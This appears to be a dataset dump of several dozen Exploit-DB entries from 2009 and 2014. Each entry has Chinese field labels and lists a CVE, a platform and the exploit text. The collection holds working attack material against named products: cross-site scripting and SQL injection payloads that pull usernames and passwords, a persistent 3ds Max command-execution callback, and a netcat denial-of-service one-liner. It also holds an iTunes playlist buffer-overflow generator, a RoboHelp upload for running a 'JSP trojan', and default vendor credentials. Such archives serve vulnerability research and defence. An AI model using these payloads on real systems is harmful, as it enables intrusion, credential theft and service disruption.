QLWD/code_shield huggingface dataset:
标题: Autodesk 3ds - Max Application Callbacks Arbitrary Command Execution EDB-ID: 33272 CVE: 2009-3577 类型: REMOTE 平台: WINDOWS 发布日期: 2009-10-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/36634/info

Autodesk 3ds Max is prone to a vulnerability that lets attackers execute arbitrary commands in the context of the vulnerable application.

This issue affects the following:

3ds Max 6 through 9
3ds Max 2008 through 2010

Other versions may also be vulnerable. 

The following proof-of-concept code is available:

callbacks.addScript #filePostOpen ("DOSCommand(\"calc.exe\")") id:#mbLoadCallback persistent:true URL: https://www.exploit-db.com/exploits/33272
标题: Dopewars Server 1.5.12 - 'REQUESTJET' Message Remote Denial of Service EDB-ID: 33269 CVE: 2009-3591 类型: DOS 平台: LINUX 发布日期: 2009-10-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/36606/info

Dopewars is prone to a denial-of-service vulnerability that affects the server part of the application.

An attacker can exploit this issue to crash the affected application, denying service to legitimate users.

This issue affects Dopewars 1.5.12; other versions may also be affected. 

The following exploit is available:

ruby -e 'print "foo^^Ar1111111\n^^Acfoo\n^AV65536\n"' | nc localhost 7902 URL: https://www.exploit-db.com/exploits/33269
标题: Juniper Junos 8.5/9.0 J - Web Interface 'PATH_INFO' Cross-Site Scripting EDB-ID: 33257 CVE: 2009-3485 类型: REMOTE 平台: HARDWARE 发布日期: 2009-09-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/36537/info

Juniper Networks JUNOS is prone to multiple cross-site scripting and HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data to J-Web (Juniper Web Management).

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.

This issue affects the following:

J-Web 8.5R1.14
J-Web 9.0R1.1 

http://www.example.com/"<script>alert(1)</script> URL: https://www.exploit-db.com/exploits/33257
标题: Juniper Junos 8.5/9.0 J-Web Interface - '/diagnose' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 33258 CVE: 2009-3486 类型: REMOTE 平台: HARDWARE 发布日期: 2009-09-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/36537/info
 
Juniper Networks JUNOS is prone to multiple cross-site scripting and HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data to J-Web (Juniper Web Management).
 
Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.
 
This issue affects the following:
 
J-Web 8.5R1.14
J-Web 9.0R1.1 

Program URI :- http://www.example.com/diagnose?m[]=pinghost

Vulnerable Parameter :- Remote Host
<input id="systest-pinghost-hostname" name="host">

Program URI :- http://www.example.com/diagnose?m[]=traceroute

Vulnerable Parameter :- Remote Host
<input id="systest-traceroute-hostname" name="host"> URL: https://www.exploit-db.com/exploits/33258
标题: Cobbler 2.4.x < 2.6.x - Local File Inclusion EDB-ID: 33252 CVE: 2014-3225 类型: WEBAPPS 平台: PHP 发布日期: 2014-05-08 漏洞利用脚本: # Exploit Title: Local File Inclusion vulnerability in cobbler

# Exploit author: Dolev Farhi @f1nhack

# Date 07/05/2014

# Vendor homepage: http://www.cobblerd.org

# Affected Software version: 2.4.x - 2.6.x

# Alerted vendor: 7.5.14


Software Description
=====================
Cobbler is a Linux installation server that allows for rapid setup of network installation environments. It glues together and automates many associated Linux tasks so you do not have to hop between many various commands and applications when deploying new systems, and, in some cases, changing existing ones.
Cobbler can help with provisioning, managing DNS and DHCP, package updates, power management, configuration management orchestration, and much more.



Vulnerability Description
=========================
Local file inclusion


Steps to reproduce / PoC:
=========================
1.1. Login to Cobbler WebUI: http://ip.add.re.ss/cobbler_web/

1.2. Under Profiles -> Create New Profile

1.3. Create a new profile with some name, assign a distribution to it.

1.4: in Kickstart value, enter /etc/passwd
 
1.5. Save the profile

1.6. Navigate again to Profiles page

1.7. press on "View Kickstart" next to the new profile created.

1.8. /etc/passwd content is shown.


  <-> PoC Video: https://www.youtube.com/watch?v=vuBaoQUFEYQ&feature=youtu.be URL: https://www.exploit-db.com/exploits/33252
标题: Collabtive 1.2 - Persistent Cross-Site Scripting EDB-ID: 33250 CVE: 2014-3247 类型: WEBAPPS 平台: PHP 发布日期: 2014-05-08 漏洞利用脚本: Vulnerability title: Stored XSS vulnerability in Collabtive application
(CVE-2014-3247)
CVE: CVE-2014-3247(coordinated with cve assigning team and vendor)
Vendor: Collabtive
Product: Collabtive (Open Source Project Management Software)
Affected version: 1.12
Fixed version: 2.0
Reported by: Deepak Rathore
Severity: Critical
URL: http://[domain]/collabtive-12/admin.php?action=addpro
Affected Users: Authenticated users
Affected parameter(s): desc

Issue details: The value of the desc request parameter is copied into the
HTML document as plain text between tags. The payload 1c91c<img%20src%3da
%20onerror%3dalert(1) >cc245622da6 was submitted in the desc parameter.
This input was echoed as 1c91c<img src=a onerror=alert(1) >cc245622da6 in
the application's response.  This proof-of-concept attack demonstrates that
it is possible to inject arbitrary JavaScript into the application's
response. The proof-of-concept attack demonstrated uses an event handler to
introduce arbitrary JavaScript into the document.

HTTP request:
POST /collabtive-12/admin.php?action=addpro HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:28.0) Gecko/20100101
Firefox/28.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/collabtive-12/index.php?mode=login
Cookie: PHPSESSID=ri2sqmga763p7qav73enfv99p5
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 75
name=test&desc=test928a4<img%20src%3da%20onerror%3dalert(1)>a480a723950&neverdue=neverdue&budget=10&assignto%5B%5D=1&assignme=1

Steps to replicate:
1. Login into application
2. Go to "Desktop" tab and click on "Add project"
3. Fill the project details in the project form and click on "Add" button
4. Intercept request by interception proxy i.e. OWASP Zap, Burp Suite etc
5. Replace "desc" parameter value with "1c91c<img%20src%3da
%20onerror%3dalert(1) >cc245622da6"
6. Forward manipulated request to server and wait for response in browser
7. A popup with alert message will come that is the proof of vulnerability.

Tools used: Burp Suite proxy, Mozilla Firefox browser

Best Regards,
Deepak URL: https://www.exploit-db.com/exploits/33250
标题: Vastal I-Tech DVD Zone - 'view_mag.php' Cross-Site Scripting EDB-ID: 33241 CVE: 2009-3496 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/36487/info
 
DVD Zone is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
http://www.example.com/view_mag.php?mag_id=<script>alert(123)</script> URL: https://www.exploit-db.com/exploits/33241
标题: IBM Lotus Connections 2.0.1 - 'simpleSearch.do' Cross-Site Scripting EDB-ID: 33254 CVE: 2009-3469 类型: WEBAPPS 平台: JAVA 发布日期: 2009-09-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/36513/info

IBM Lotus Connections is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks

IBM Lotus Connections 2.0.1 is affected; other versions may be vulnerable as well.

https://www.example.com/profiles/html/simpleSearch.do?name=<IMG%20SRC="vbscript:msgbox(document.cookie)'>&lang=en URL: https://www.exploit-db.com/exploits/33254
标题: Vastal I-Tech DVD Zone - 'view_mag.php' SQL Injection EDB-ID: 33240 CVE: 2009-3495 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/36487/info

DVD Zone is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/view_mag.php?mag_id=9+and+substring(@@version,1,1)=5 True
http://www.example.com/view_mag.php?mag_id=9+and+substring(@@version,1,1)=4 False URL: https://www.exploit-db.com/exploits/33240
标题: Xen 3.x - pygrub Local Authentication Bypass EDB-ID: 33255 CVE: 2009-3525 类型: LOCAL 平台: LINUX 发布日期: 2009-09-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/36523/info

Xen is prone to a local authentication-bypass vulnerability.

A local attacker with physical access to an affected host can exploit this issue to bypass authentication and modify the 'grub.conf' file. This may aid in a complete compromise of the affected system.

Xen 3.0.3, 3.3.0, and 3.3.1 are affected; other versions may also be vulnerable.

xm create -c guest
press space bar to stop the grub count down
press e to edit
select the kernel line and press e
Append a "1" to the end of the kernel line and press return
press "b" to boot URL: https://www.exploit-db.com/exploits/33255
标题: FFmpeg 0.5 - Multiple Remote Vulnerabilities EDB-ID: 33233 CVE: 2009-4637 类型: DOS 平台: LINUX 发布日期: 2009-09-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/36465/info

FFmpeg is prone to multiple remote vulnerabilities.

Attackers may leverage these issues to execute arbitrary code in the context of the application or crash the application.

FFmpeg 0.5 is affected; other versions may also be vulnerable.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33233-1.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33233-2.zip URL: https://www.exploit-db.com/exploits/33233
标题: Joomla! Component JoomlaFacebook - SQL Injection EDB-ID: 33238 CVE: 2009-3438 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/36484/info

The JoomlaFacebook component ('com_facebook') for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_facebook&view=student&id=-666+union+select+1,2,concat_ws(0x3a,username,password),4,5,6,7,8,9,10,11,12+from+jos_users-- URL: https://www.exploit-db.com/exploits/33238
标题: Linux Kernel 2.6.31 - 'perf_counter_open()' Local Buffer Overflow EDB-ID: 33228 CVE: 2009-3234 类型: DOS 平台: LINUX 发布日期: 2009-09-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/36423/info

The Linux kernel is prone to a local buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.

Local attackers may be able to exploit this issue to run arbitrary code with elevated privileges. Failed exploit attempts may crash the affected kernel, denying service to legitimate users.

The Linux Kernel 2.6.31-rc1 through 2.6.31 are vulnerable.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33228.tgz URL: https://www.exploit-db.com/exploits/33228
标题: Joomla! Component SportFusion 0.2.x - SQL Injection EDB-ID: 33237 CVE: 2009-3491 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/36481/info

The SportFusion component ('com_sportfusion') for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

SportFusion 0.2.2 and 0.2.3 are affected; other versions may also be vulnerable.

http://www.example.com/index.php?option=com_sportfusion&view=teamdetail&cid[0]=-666+union+select+1,2,3,4,5,concat(0x3a,username,password)kaMtiez,7,8,9,10,11,12,13+from+jos_users-- URL: https://www.exploit-db.com/exploits/33237
标题: GNU glibc 2.x - 'strfmon()' Integer Overflow EDB-ID: 33230 CVE: 2009-4880 类型: DOS 平台: LINUX 发布日期: 2009-09-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/36443/info

GNU glibc is prone to an integer-overflow weakness.

An attacker can exploit this issue through other applications such as PHP to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

GNU glibc 2.10.1 and prior are vulnerable. 

The following proof-of-concept commands are available:

php -r 'money_format("%.1073741821i",1);'
php -r 'money_format("%.1343741821i",1);' URL: https://www.exploit-db.com/exploits/33230
标题: Wireshark 1.2.1 - GSM A RR Dissector packet.c Remote Denial of Service EDB-ID: 33224 CVE: 2009-3242 类型: DOS 平台: LINUX 发布日期: 2009-09-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/36408/info
  
Wireshark is prone to multiple denial-of-service vulnerabilities.
  
Exploiting these issues may allow attackers to crash the application and deny service to legitimate users.
  
These issues affect Wireshark 0.99.6 through 1.2.1.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33224.pcap URL: https://www.exploit-db.com/exploits/33224
标题: Mega File Hosting Script 1.2 - 'emaillinks.php' Cross-Site Scripting EDB-ID: 33226 CVE: 2009-3647 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/36413/info

Mega File Hosting Script is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Mega File Hosting Script 1.2 is vulnerable; other versions may also be affected.

http://www.example.com/emaillinks.php?moudi=1"><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/33226
标题: Maxwebportal 1.365 - 'forum.asp' SQL Injection EDB-ID: 33236 CVE: 2009-3436 类型: WEBAPPS 平台: ASP 发布日期: 2009-09-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/36480/info

MaxWebPortal is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/forum.asp?FORUM_ID=42&CAT_ID=7+and+1=convert%28int,@@version%29-- URL: https://www.exploit-db.com/exploits/33236
标题: NetBSD 5.0.1 - 'IRET' General Protection Fault Handling Privilege Escalation EDB-ID: 33229 CVE: 2009-2793 类型: LOCAL 平台: BSD 发布日期: 2009-09-16 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/36430/info

NetBSD is prone to a local privilege-escalation vulnerability.

A local attacker may exploit this issue to cause the kernel stack to become desynchronized. This may allow the attacker to gain elevated privileges or may aid in further attacks. 
*/

/* ... */
int main(int argc, char **argv)
{
  jmp_buf env;

  void handlesig(int n) {
        longjmp(env, 1);

  }
  signal(SIGSEGV, handlesig);

  if (setjmp(env) == 0) {
        ( (void(*)(void)) NULL) ();
  }

  return 0;
}

/* ... */
int main(int argc, char **argv)
{
       char baguette;
       signal(SIGABRT, (void (*)(int))&baguette);
       abort();
} URL: https://www.exploit-db.com/exploits/33229
标题: Apple iTunes 9.0 - '.pls' Buffer Overflow EDB-ID: 33235 CVE: 2009-2817 类型: DOS 平台: OSX 发布日期: 2009-09-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/36478/info

Apple iTunes is prone to a buffer-overflow vulnerability because the software fails to bounds-check user-supplied data before copying it into an insufficiently sized buffer.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

Versions prior to Apple iTunes 9.0.1 are vulnerable. 

#!/usr/bin/env ruby
 
SETJMP = 0x92F04224
JMP_BUF = 0x8fe31290
STRDUP = 0x92EED110
# 8fe24459 jmp *%eax
JMP_EAX = 0x8fe24459
 
def make_exec_payload_from_heap_stub()
frag0 =
"\x90" + # nop
"\x58" + # pop eax
"\x61" + # popa
"\xc3" # ret
frag1 =
"\x90" + # nop
"\x58" + # pop eax
"\x89\xe0" + # mov eax, esp
"\x83\xc0\x0c" + # add eax, byte +0xc
"\x89\x44\x24\x08" + # mov [esp+0x8], eax
"\xc3" # ret
exec_payload_from_heap_stub =
frag0 +
[SETJMP, JMP_BUF + 32, JMP_BUF].pack("V3") +
frag1 +
"X" * 20 +
[SETJMP, JMP_BUF + 24, JMP_BUF, STRDUP,
JMP_EAX].pack("V5") +
"X" * 4
end
 
payload_cmd = "hereisthetrick"
stub = make_exec_payload_from_heap_stub()
ext = "A" * 59
stub = make_exec_payload_from_heap_stub()
exploit = ext + stub + payload_cmd
 
# pls file format
 
file = "[playlist]\n"
file += "NumberOfEntries=1\n"
file += "File1=http://1/asdf." + exploit + "\n"
file += "Title1=asdf\n"
file += "Length1=100\n"
file += "Version=2" + '\n'
 
File.open('poc.pls','w') do |f|
f.puts file
f.close
end URL: https://www.exploit-db.com/exploits/33235
标题: Wireshark 1.2.1 - TLS Dissector 1.2 Conversation Handling Remote Denial of Service EDB-ID: 33223 CVE: 2009-3243 类型: DOS 平台: LINUX 发布日期: 2009-09-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/36408/info
 
Wireshark is prone to multiple denial-of-service vulnerabilities.
 
Exploiting these issues may allow attackers to crash the application and deny service to legitimate users.
 
These issues affect Wireshark 0.99.6 through 1.2.1.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33223.zip URL: https://www.exploit-db.com/exploits/33223
标题: Wireshark 1.2.1 - OpcUa Dissector Resource Exhaustion (Denial of Service) EDB-ID: 33222 CVE: 2009-3241 类型: DOS 平台: LINUX 发布日期: 2009-09-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/36408/info

Wireshark is prone to multiple denial-of-service vulnerabilities.

Exploiting these issues may allow attackers to crash the application and deny service to legitimate users.

These issues affect Wireshark 0.99.6 through 1.2.1.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33222.pcap URL: https://www.exploit-db.com/exploits/33222
标题: DvBBS 2.0 - 'boardrule.php' SQL Injection EDB-ID: 33214 CVE: 2009-4470 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/36282/info

DvBBS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

DvBBS 2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/[Path]/boardrule.php?groupboardid=1/**/union/**/select/**/concat(0xBAF3CCA8D3C3BBA7C3FBA3BA,username,0x202020C3DCC2EBA3BA,password)/**/from%20dv_admin%20where%20id%20between%201%20and%204/**/ URL: https://www.exploit-db.com/exploits/33214
标题: Adobe RoboHelp Server 8 - Authentication Bypass EDB-ID: 33209 CVE: 2009-3068 类型: WEBAPPS 平台: JSP 发布日期: 2009-09-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/36245/info

Adobe RoboHelp Server is prone to an authentication-bypass vulnerability. An attacker can exploit this issue to upload and execute arbitrary code with SYSTEM-level privileges.

RoboHelp Server 8.0 is affected; other versions may also be vulnerable.

b="-----------------------------111\r\n"
b+="Content-Disposition: form-data; name=\"filename\"; filename=\"test.jsp\"\r\n"
b+="Content-Type: application/x-java-archive\r\n\r\n"
b+=data # source code of our JSP trojan here
b+="\r\n"
b+="-----------------------------111--\r\n"

s="POST /robohelp/server?PUBLISH=1 HTTP/1.1\r\n"
s+="Host: %s:%d\r\n"%(host, port)
s+="User-Agent: Mozilla\r\n"
s+="UID: 1234\r\n"
s+="Content-Type: multipart/form-data; boundary=---------------------------111\r\n"
s+="Content-Length: %d\r\n"%len(b)
s+="\r\n"
s+=b

sock.sendall(s)
reply=sock.recv(4000)



Get the value of 'sessionid' from the reply and use it in the following to execute the JSP trojan:

s="GET /robohelp/robo/reserved/web/%s/test.jsp HTTP/1.0\r\n\r\n" % session_id
sock.sendall(s) URL: https://www.exploit-db.com/exploits/33209
标题: Planet 2.0 - HTML Injection EDB-ID: 33219 CVE: 2009-2937 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/36392/info

Planet is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would run in the context of the affected website, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user.

Planet 2.0 is affected; other versions may also be vulnerable.

The following example code is available:

<img src="javascript:alert(1);" > URL: https://www.exploit-db.com/exploits/33219
标题: HP Operations Dashboard 2.1 - Portal Default Manager Account Remote Security EDB-ID: 33211 CVE: 2009-4188 类型: REMOTE 平台: MULTIPLE 发布日期: 2009-09-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/36258/info

HP Operations Dashboard is prone to a remote security vulnerability.

Operations Dashboard 2.1 for Windows is vulnerable; other versions may also be vulnerable. 

Attackers can exploit this issue using readily available tools. The following authentication credentials are available:

j2deployer:j2deployer URL: https://www.exploit-db.com/exploits/33211
标题: HP Operations Manager - Default Manager 8.1 Account Remote Security EDB-ID: 33210 CVE: 2009-3099 类型: REMOTE 平台: MULTIPLE 发布日期: 2009-09-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/36253/info

HP Operations Manager is prone to a remote security vulnerability.

Operations Manager 8.1 for Windows is vulnerable; other versions may also be vulnerable.

NOTE: This issue may be related to the issue documented in BID 37086 (HP Operations Manager Remote Unauthorized Access Vulnerability), but this has not been confirmed.

Attackers can exploit this issue using readily available tools. The following authentication credentials are available:

ovwebusr:OvW*busr1 URL: https://www.exploit-db.com/exploits/33210
标题: 68 Classifieds 4.1 - 'searchresults.php' Cross-Site Scripting EDB-ID: 33199 CVE: 2009-2780 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/36208/info
  
'68 Classifieds' is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
These issues affect 68 Classifieds 4.1; other versions may also be affected. 

 http://www.example.com/searchresults.php?page=[code] URL: https://www.exploit-db.com/exploits/33199